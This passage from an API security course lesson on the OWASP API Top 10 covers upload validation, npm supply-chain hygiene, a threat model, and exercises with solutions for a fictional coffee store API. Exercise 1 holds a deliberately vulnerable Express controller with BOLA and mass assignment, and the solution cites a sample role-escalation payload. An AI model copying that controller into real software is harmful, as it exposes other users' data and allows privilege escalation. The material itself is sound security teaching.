    // A mismatch between what was declared and the real content: a sign of an evasion attempt.
    throw errors.invalidData('The content does not match the declared type.');
  }
  return realType;
}

The magic bytes are the format's binary signature at the start of the file. Checking them defeats the classic trick of uploading an executable or an HTML file with a .jpg extension and Content-Type: image/jpeg.

Even so, the strongest defence is not detection but reprocessing: passing the image through a library that decodes and re-encodes it (sharp, for example) produces a brand-new file that keeps nothing of whatever was hidden inside, and strips the EXIF data along the way. If the upload goes straight to object storage with a presigned URL, the file never even passes through your API, which is better still for availability.

  1. Dependencies and the supply chain

express, zod, better-sqlite3, jsonwebtoken, bcrypt, dotenv, and now helmet. Each one drags in its own: the real tree is hundreds of packages, all running with your process's permissions.

# 1. Known vulnerabilities in the dependency tree.
npm audit

# 2. Only the serious ones, with a non-zero exit code for CI.
npm audit --audit-level=high

# 3. Fix whatever can be fixed without breaking changes.
npm audit fix

# 4. A reproducible install in CI: respects package-lock.json exactly.
npm ci

# 5. What is actually installed, and why.
npm ls jsonwebtoken

The practices that matter:

  • package-lock.json versioned and npm ci in continuous integration. Without it, two installs of the same commit can pull different code.
  • Update continuously, not in an annual migration: ten small updates cost less than one big one, and the big ones get postponed.
  • Reduce the number of dependencies. The question before installing is whether the problem is solved by Node's standard library, which today includes crypto, fetch, test and AbortSignal.
  • Pin versions sensibly: narrow ranges and reviewed updates, with Dependabot or Renovate opening pull requests that go through your tests.
  • Be suspicious of install scripts. A malicious postinstall runs at install time, before you review anything. npm ci --ignore-scripts is an option where it is feasible.
  • Watch out for typosquatting: expres, lodahs, node-fetchh. Copying and pasting the name from the official documentation avoids the entire class.

The supply chain attack is today's fashionable vector precisely because it does not require breaching your code: it is enough to compromise somebody else's code that you run.

  1. A lightweight threat model for Aroma Store

A threat model does not need to be a hundred-page document. The useful version fits in a table and gets reviewed every quarter: asset → threat → defence → where it is implemented.

Asset Threat Impact Defence Where
Order data BOLA: reading other people's orders High (GDPR) Ownership check in the service + 404 src/services/orders.js
Customer data Excessive exposure High (GDPR) Mapper with an allowlist src/services/mappers.js
Accounts Brute force on the login High bcrypt + a limit per IP and email address 03-06 / 04-04
Accounts Escalation via mass assignment Critical Zod .strict() + req.validatedData src/schemas/*.js
Tokens Theft in transit Critical Mandatory TLS + HSTS Infrastructure + helmet
Tokens Forgery (alg:none) Critical A pinned algorithms: ['HS256'] src/middleware/authentication.js
Catalogue Mass scraping Medium Rate limiting + pagination 04-04
Database SQL injection Critical Prepared statements + an allowlist in sort src/repositories/*.js
Availability Giant bodies and pages Medium limit: 100kb, limit max. 100 src/app.js, 03-03
Internal network SSRF via an image URL High Domain allowlist, no redirects, no private IPs src/services/downloads.js
Storage A malicious file uploaded High Magic bytes + re-encoding + a separate domain src/services/images.js
Secrets A leak through the repository Critical .gitignore, a secrets manager, a scanner in CI Deployment
Webhooks SwiftShip impersonation High HMAC-SHA256 + Aroma-Event-Id anti-replay Webhook service
Surface Forgotten endpoints High Inventory + openapi.yaml as the single source of truth Process
Dependencies A compromised package Critical npm ci, npm audit, reviewed updates CI
Browser An unauthorised origin Medium CORS with an allowlist 04-05
Logs Personal data recorded High (GDPR) Automatic redaction of sensitive fields 04-07

How it is used: when you add a feature, you add its rows. If a row has no concrete "where" cell, that defence does not exist; it is an intention. And if a critical-impact row has an empty cell, that is your next job, ahead of any new feature.

Common Mistakes and Tips

Confusing authentication with authorisation. "They have a valid token" only answers who they are. The question what can they do with this specific object is answered on every request, and its absence is vulnerability number one.

Validating in the SPA and not in the API. Client-side validation is usability. The API is the only place where validation is a defence.

Putting helmet at the end of the chain. The headers would not appear on responses generated by earlier middleware, which are precisely the errors.

Returning 403 for other people's resources. It confirms existence and enables enumeration. Use 404 unless the resource is public.

Believing .strict() is enough if you then use req.body. Validation only protects you if you consume the validated object.

Committing the .env "just for a moment". The Git history is for ever; the secret is compromised even if you delete it in the next commit.

Trusting an upload's Content-Type. The client writes it. Only the real content counts.

Logging the complete request "for debugging". It is the fastest way to get passwords and tokens into a log system with a one-year retention policy.

Tip: attack your own API. Set aside half an hour, grab a cus_842 token and try systematically: other people's identifiers, extra fields, unexpected methods, extreme values. Something almost always turns up.

Tip: turn every vulnerability you find into a test. A vulnerability fixed without a test comes back in six months, when somebody refactors the service.

Tip: security comes in layers. No single defence in this lesson is sufficient on its own. Opaque identifiers do not replace the ownership check, and helmet does not replace TLS.

Exercises

Exercise 1: find three vulnerabilities

This controller has been proposed for the new GET /v1/customers/{id} and PATCH /v1/customers/{id} endpoints. Identify at least three distinct OWASP API Top 10 vulnerabilities, name them with their category and fix them.

// src/controllers/customers.js
router.get('/:id', authenticate, asyncHandler(async (req, res) => {
  const customer = await customerRepository.findById(req.params.id);
  if (!customer) return res.status(404).json({ error: { code: 'not_found' } });
  res.json(customer);
}));

router.patch('/:id', authenticate, asyncHandler(async (req, res) => {
  const updated = await customerRepository.update(req.params.id, req.body);
  res.json(updated);
}));

Exercise 2: configuring helmet for the back office

The internal back office (https://panel.aromastore.example) needs to display the coffee images served by the API inside an <img> tag. With the helmet configuration from section 12, the image does not load. Explain which header is preventing it and propose the adjustment, reasoning why it does not compromise the security of the JSON endpoints.

Exercise 3: a threat model for a new endpoint

POST /v1/customers/{id}/export is going to be added; it generates a file containing all the customer's personal data (the GDPR right of access) and returns a download link. Write the threat model rows for this endpoint: at least four threats with their defence and where it would be implemented.

Solutions

Solution 1

Vulnerabilities:

  1. API1 (BOLA) in the GET: any authenticated customer reads any other customer's data. The ownership check is missing.
  2. API3 (excessive exposure): res.json(customer) returns the whole row, including password_hash, role, active and any future column.
  3. API3 / mass assignment in the PATCH: req.body goes straight to the repository, so a customer can send {"role":"administrator"} or {"active":true}.
  4. API1 again in the PATCH: it does not check ownership either; a customer edits somebody else.
  5. Extra: the 404 is built by hand and does not follow the catalogue's format (details is missing), breaking the contract from 03-07.

The fix:

// src/controllers/customers.js
router.get(
  '/:id',
  authenticate,
  asyncHandler(async (req, res) => {
    // The service checks ownership and throws a 404 where appropriate (not a 403).
    const customer = await customerService.get(req.params.id, req.user);
    // The mapper decides which fields the asker sees.
    res.json(mappers.customerToRepresentationForRole(customer, req.user));
  })
);

router.patch(
  '/:id',
  authenticate,
  validate(modifyCustomerSchema, 'body'),   // .strict(): name, phone, address
  asyncHandler(async (req, res) => {
    const updated = await customerService.update(
      req.params.id,
      req.validatedData,       // ← never req.body
      req.user                 // ← the service checks ownership
    );
    res.json(mappers.customerToRepresentationForRole(updated, req.user));
  })
);
// src/schemas/customers.js
export const modifyCustomerSchema = z
  .object({
    name: z.string().min(2).max(80).optional(),
    phone: z.string().max(20).optional(),
    address: z.string().max(200).optional(),
  })
  .strict();     // role, active, balance or version → 400 invalid_data

And a test that pins the fix down:

it("a customer cannot read another customer's data", async () => {
  const r = await request(app)
    .get('/v1/customers/cus_001')
    .set('Authorization', `Bearer ${martaToken}`);
  assert.equal(r.status, 404);            // 404, not 403: it does not confirm existence
});

Solution 2

The header responsible is Cross-Origin-Resource-Policy: same-origin, which helmet enables by default. With that value, the browser refuses to embed the response in a document from another origin; the back office is on panel.aromastore.example and the image on api.aromastore.example, so they are different origins and the <img> paints nothing.

The adjustment:

export const securityHeaders = helmet({
  // ... the rest unchanged
  crossOriginResourcePolicy: { policy: 'cross-origin' },
});

Why it does not compromise the security of the JSON endpoints: CORP is not an authorisation mechanism, it is a protection against side-channel attacks based on embedding responses (Spectre and similar). Who can read the content of a response is still controlled by two independent things: the CORS policy (04-05), which decides which origins can read the response from JavaScript, and above all the server's authorisation, which requires a valid token with the right permissions. An attacker who embeds GET /v1/orders/ord_5001 in an <img> tag does not send the Authorization header, receives a 401 and cannot read the body anyway.

A preferable alternative: serve the images from a dedicated domain (images.aromastore.example) with its own configuration, and keep same-origin on the API. It isolates the two problems better.

Solution 3

Asset Threat Impact Defence Where
Complete personal data BOLA: exporting another customer's data Critical (GDPR breach) Ownership check; only the customer themselves or an administrator with justification src/services/customers.js
The download link A guessable or shareable link Critical A single-use token, a 15-minute expiry, bound to the token's customerId Export service
The generated file It stays accessible after the download High Automatic deletion after 24 h; private storage with a presigned URL Storage
Availability Repeated exports to saturate the CPU Medium A specific rate limit (1 export per customer per day) + an asynchronous process with 202 04-04 / 04-06
The file's contents It includes more data than it should (internal notes) High An explicit allowlist of exportable fields, reviewed by compliance Export mapper
Logs The exported data gets logged High Log only the event and the customerId, never the content 04-07
Traceability There is no record of who ran an export Medium (accountability) An audit log: who, when, about whom Audit
Notification The data subject does not know their data was exported Medium An automatic email to the customer when the export is generated Notification service

A cross-cutting note: because this endpoint materialises a GDPR right, the exact scope of the data included and the file's retention periods require compliance validation, not merely a technical decision. And the correct design is asynchronous (202 Accepted + a status resource), because generating the file can take time and must not tie up a connection: we will see that pattern in 04-06.

Conclusion

An API's security is not a layer you add, it is a property sustained at every endpoint. You have walked the OWASP API Security Top 10 over Aroma Store and seen that most real vulnerabilities are authorisation failures: BOLA when somebody reads another person's order, broken function-level authorisation when a customer creates coffees, excessive exposure when the mapper does not filter, mass assignment when req.body reaches the repository. You have seen why Zod's .strict() and the allowlist mapper — decisions that looked like code-quality choices — were in fact front-line defences; which injections are still possible after prepared statements, and how the only one left open is closed with the sort allowlist; how transport is defended with TLS and HSTS, the internal network from SSRF and storage from a malicious image. And you have added src/middleware/security.js with helmet to the project, at position 3 in the chain, ahead of any middleware capable of responding.

What this threat model marks as open is still outstanding. We start at the front door: in 04-03, OAuth 2.0 and OpenID Connect in Practice, we will work out how a third-party application — "CataBox", which wants to read a customer's orders — accesses Aroma Store without knowing their password. We will look at the protocol's four roles and why our API is only the resource server; the coffees.read, orders.read, orders.write and reviews.moderate scopes; the current flows with Authorization Code + PKCE for the SPA and the mobile app, Client Credentials for SwiftShip and the refresh flow; the difference between authenticating and authorising that OpenID Connect brings with its id_token; and token validation with JWKS and kid — which, not by coincidence, natively solves the key rotation problem we have just raised — in an authenticateOAuth middleware that will coexist with authenticate from 03-06.

REST API Course: Principles of Designing and Developing RESTful APIs

Module 1: Introduction to RESTful APIs

Module 2: Designing RESTful APIs

Module 3: Building RESTful APIs

Module 4: Best Practices and Security

Module 5: Tools and Frameworks

Module 6: Case Studies and Projects

© Copyright 2026. All rights reserved